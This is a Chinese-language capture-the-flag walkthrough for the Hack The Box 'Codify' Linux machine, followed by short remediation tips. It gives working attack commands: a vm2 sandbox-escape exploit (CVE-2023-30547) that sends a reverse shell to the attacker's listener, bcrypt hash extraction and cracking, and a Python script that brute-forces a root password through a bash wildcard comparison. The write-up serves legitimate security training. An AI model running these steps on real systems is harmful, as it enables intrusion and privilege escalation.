针对 Hack The Box 平台 Codify 靶机的完整渗透测试演练与通关解析。
| 字段 | 值 |
|---|---|
| 名称 | Codify |
| 操作系统 | Linux |
| 难度 | 简单 |
| 关键概念 | vm2 RCE(CVE-2023-30547)、SQLite 数据库枚举、Bcrypt 破解、Bash 通配符模式匹配滥用 |
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
⬇️
[SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
⬇️
[Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]
对所有 65,535 个 TCP 端口进行快速扫描,以发现开放的服务:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
对 22、80、3000 端口进行详细枚举:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
运行在 3000 端口的 Web 应用程序使用了存在漏洞的 Node.js vm2 沙箱库版本。
克隆公开的漏洞利用仓库:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
在攻击机上启动本地 Netcat 监听器:
Bash
ncat -lnvp 4444
执行针对存在漏洞的 Web 应用的漏洞利用脚本:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
验证你的初始立足点 Shell:
Bash
whoami
进入 Web 目录 /var/www/contact 并检查 SQLite 数据库:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
提取 Joshua 的 bcrypt 哈希:
SQL
SELECT password FROM users WHERE username='joshua';
(按 CTRL + d 退出)
使用 John the Ripper 和 rockyou.txt 破解提取到的哈希:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
使用破解得到的 Joshua 凭据通过 SSH 登录:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
查看用户 joshua 被允许执行的 sudo 命令:
Bash
sudo -l
输出: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
查看 /opt/scripts/mysql-backup.sh:
Bash
cat /opt/scripts/mysql-backup.sh
漏洞点: 该脚本在 Bash 中使用了未加引号的模式匹配([[ $USER_PASS == $DB_PASS* ]])。这允许用户输入中的通配符(*)对真实密码执行逐字符的暴力破解攻击。
创建 bruteforce.py 以逐字符提取 root 密码:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
运行脚本以提取密码:
Bash
python3 bruteforce.py
使用提取到的密码切换到 root 用户:
Bash
su root
cat /root/root.txt
修补 Node.js 库: 弃用或升级存在漏洞的沙箱库,例如 vm2(CVE-2023-30547)。
安全编写 Bash 脚本: 在字符串比较操作中始终对变量加引号([[ "$USER_PASS" == "$DB_PASS" ]]),以防止特权脚本中出现意外的模式匹配和通配符注入。